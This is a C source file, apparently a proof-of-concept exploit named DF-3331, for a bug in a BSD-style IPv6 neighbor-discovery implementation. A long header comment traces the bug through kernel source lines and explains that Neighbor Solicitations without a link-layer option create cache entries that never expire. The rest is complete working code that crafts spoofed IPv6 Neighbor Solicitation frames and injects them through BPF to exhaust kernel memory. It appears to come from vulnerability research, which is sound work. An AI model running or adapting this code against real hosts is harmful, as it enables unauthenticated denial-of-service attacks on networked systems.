DF-3331 / nsimmort2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 | /* * DF-3331 PoC (v2) -- immortal ND6_LLINFO_NOSTATE neighbor-cache entries, * injected the way a REAL on-link attacker would: crafted ethernet frames * with fully attacker-controlled IPv6 source addresses, fed into the * victim's own vtnet0 receive path via BPF write + BIOCFEEDBACK * (bpf_output_dispatch(), sys/net/bpf.c:582 -- the frame is both * transmitted and delivered to ifp->if_input with rcvif = vtnet0). * * BUG (sys/netinet6/nd6.c): nd6_ns_input() (nd6_nbr.c:407) calls * nd6_cache_lladdr() even when the NS carries NO source link-layer * address option. For a not-yet-cached source this takes * nd6_lookup(from, 1, ifp) -> rtrequest(RTM_ADD) -> nd6_rtrequest() * (allocates ln; for req==RTM_ADD ln_expire is left 0), nd6_lookup() * sets ln_state = ND6_LLINFO_NOSTATE (nd6.c:920-925), and * nd6_cache_lladdr() case (6) (nd6.c:1780-1786) keeps NOSTATE with no * expiry. nd6_timer_dispatch() (nd6.c:463-574) has NO case for * NOSTATE(-2) and every freeing path requires ln_expire != 0: * the entry is immortal (until interface detach / reboot). * * => one NS frame per distinct spoofed source address == one pinned * kernel allocation (rtentry + radix node + llinfo_nd6), unbounded, * unauthenticated, line-rate. Kernel memory exhaustion DoS. * * PRIVILEGE MODEL: root is needed ONLY to open /dev/bpf on our own test * rig. The frames produced are bit-identical to what any host already * on the victim's link can emit; the kernel cannot distinguish them. * (v1 of this PoC tried local source aliases + raw ICMPv6 sockets, but * (a) AF_INET6 raw sockets cannot spoof the IPv6 source (no HDRINCL) * and (b) local aliases grow own-address host routes that make * nd6_cache_lladdr's first nd6_lookup(from, 0) succeed, which skips the * entry-creation path entirely -- a real attacker's source owns nothing * locally, so on a real victim the create path runs.) * * usage: nsimmort2 -i vtnet0 -t <target-link-local-addr> [-n count] * [-s (add SLLA option: control)] [-S <start>] */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/types.h> #include <net/bpf.h> #include <net/if.h> #include <net/if_dl.h> #include <net/ethernet.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #include <arpa/inet.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> struct ether_hdr { uint8_t dst[6]; uint8_t src[6]; uint16_t type; } __attribute__((packed)); static void die(const char *s) { fprintf(stderr, "nsimmort2: %s: %s\n", s, strerror(errno)); exit(1); } static uint16_t cksum16(const uint16_t *p, size_t nbytes, uint32_t sum) { size_t nwords = nbytes / 2; while (nwords--) sum += *p++; if (nbytes & 1) sum += htons(((const uint8_t *)p)[0] << 8); while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return ((uint16_t)~sum); } int main(int argc, char **argv) { const char *ifname = "vtnet0"; const char *target6 = NULL; long n = 5000, start = 1, i, ok = 0, fail = 0; int ch, bpf, one = 1, withslla = 0; unsigned int ifidx; struct in6_addr tgt, src, dst6; uint8_t frame[128]; struct ether_hdr *eth = (struct ether_hdr *)frame; struct ip6_hdr *ip6 = (struct ip6_hdr *)(frame + sizeof(*eth)); struct nd_neighbor_solicit *ns = (struct nd_neighbor_solicit *)((uint8_t *)ip6 + sizeof(*ip6)); uint8_t *opt = (uint8_t *)(ns + 1); size_t nslen, framelen; struct ifreq ifr; while ((ch = getopt(argc, argv, "i:t:n:sS:")) != -1) { switch (ch) { case 'i': ifname = optarg; break; case 't': target6 = optarg; break; case 'n': n = atol(optarg); break; case 's': withslla = 1; break; case 'S': start = atol(optarg); break; default: goto usage; } } argc -= optind; argv += optind; if (!target6 || argc != 0) { usage: fprintf(stderr, "usage: nsimmort2 -t <tgt-LL-addr> " "[-i if] [-n count] [-s] [-S start]\n"); return (1); } if (inet_pton(AF_INET6, target6, &tgt) != 1) die("inet_pton(target)"); ifidx = if_nametoindex(ifname); if (ifidx == 0) die("if_nametoindex"); /* destination = solicited-node multicast of the target */ memcpy(&dst6, &tgt, sizeof(dst6)); dst6.s6_addr16[0] = htons(0xff02); dst6.s6_addr16[1] = 0; dst6.s6_addr32[1] = 0; dst6.s6_addr32[2] = htonl(1); dst6.s6_addr8[12] = 0xff; if ((bpf = open("/dev/bpf", O_RDWR)) < 0) die("open /dev/bpf"); memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); if (ioctl(bpf, BIOCSETIF, &ifr) < 0) die("BIOCSETIF"); if (ioctl(bpf, BIOCSFEEDBACK, &one) < 0) die("BIOCSFEEDBACK"); nslen = sizeof(*ns) + (withslla ? 8 : 0); for (i = 0; i < n; i++) { ssize_t rc; /* --- ethernet header --- */ eth->dst[0] = 0x33; eth->dst[1] = 0x33; eth->dst[2] = 0xff; eth->dst[3] = tgt.s6_addr[13]; eth->dst[4] = tgt.s6_addr[14]; eth->dst[5] = tgt.s6_addr[15]; eth->src[0] = 0x02; eth->src[1] = 0x00; eth->src[2] = 0x00; eth->src[3] = 0xde; eth->src[4] = (uint8_t)(i >> 8); eth->src[5] = (uint8_t)i; eth->type = htons(ETHERTYPE_IPV6); /* --- attacker-chosen IPv6 source: fe80:<ifidx>::i --- */ memset(&src, 0, sizeof(src)); src.s6_addr16[0] = htons(0xfe80); src.s6_addr16[1] = htons((uint16_t)ifidx); /* scope embed: * nd6_is_addr_neighbor() short-circuit, nd6.c:993-995 */ src.s6_addr16[7] = htons((uint16_t)(start + i)); /* --- IPv6 header --- */ ip6->ip6_flow = htonl(6 << 28); ip6->ip6_plen = htons(nslen); ip6->ip6_nxt = IPPROTO_ICMPV6; ip6->ip6_hlim = 255; /* ND requirement */ ip6->ip6_src = src; ip6->ip6_dst = dst6; /* --- NS, NO source link-layer address option --- */ memset(ns, 0, sizeof(*ns) + (withslla ? 8 : 0)); ns->nd_ns_hdr.icmp6_type = ND_NEIGHBOR_SOLICIT; ns->nd_ns_hdr.icmp6_code = 0; ns->nd_ns_target = tgt; if (withslla) { opt[0] = ND_OPT_SOURCE_LINKADDR; opt[1] = 1; /* 8 bytes */ memcpy(opt + 2, eth->src, 6); } { uint32_t sum; const uint16_t *w; uint8_t pseudo[40]; memcpy(pseudo, &src, 16); memcpy(pseudo + 16, &dst6, 16); memcpy(pseudo + 32, (uint8_t[]){0,0,0,0, 0,0, (uint8_t)(nslen >> 8), (uint8_t)nslen, 0,0,0, IPPROTO_ICMPV6}, 8); w = (const uint16_t *)pseudo; sum = 0; { int k; for (k = 0; k < 20; k++) sum += w[k]; } ns->nd_ns_hdr.icmp6_cksum = cksum16((const uint16_t *)ns, nslen, sum); } framelen = sizeof(*eth) + sizeof(*ip6) + nslen; rc = write(bpf, frame, framelen); if (rc < 0) fail++; else ok++; if ((i % 2500) == 2499) { printf("nsimmort2: %ld/%ld frames (fail=%ld)\n", i + 1, n, fail); fflush(stdout); } } printf("nsimmort2: DONE sent=%ld fail=%ld (slla=%d)\n", ok, fail, withslla); return (0); } |